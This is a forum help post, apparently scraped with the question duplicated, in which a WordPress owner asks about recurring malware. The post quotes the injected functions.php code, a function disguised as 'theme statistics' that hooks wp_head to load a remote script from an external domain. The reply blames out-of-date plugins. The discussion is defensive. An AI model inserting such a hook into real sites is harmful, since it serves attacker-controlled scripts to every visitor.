I am seeing most of my websites infected with same kind of malware and some sites are on completely different webhosting and servers, The malware is basically loading a script via theme function.php, earlier I cleaned all the sites and even had sucuri guys look on them but the malware appears again. Here the code which is insered in theme function.php
/\* Theme statistics function \*/
​
function wptheme\_stat() {
?>
<script async src=”[https://marvin-occentus.net/statistic/js/stat.js](https://marvin-occentus.net/statistic/js/stat.js)”></script>
<?php
}
​
add\_action(“wp\_head”, “wptheme\_stat”);
I am seeing most of my websites infected with some kind of malware and some sites are on completely different web hosting and servers, The malware is basically loading a script via theme function.php, earlier I cleaned all the sites and even had Sucuri guys look on them but the malware appears again. Here is the code that is included in the theme function.php
[ad_2]
Most of the time, malware is caused by out of date plugins. Given that you’re seeing this issue on different sites, audit your plugins and look for any commonalities. Until the vulnerable plugin is removed, and the sites properly cleaned, the malware will keep returning.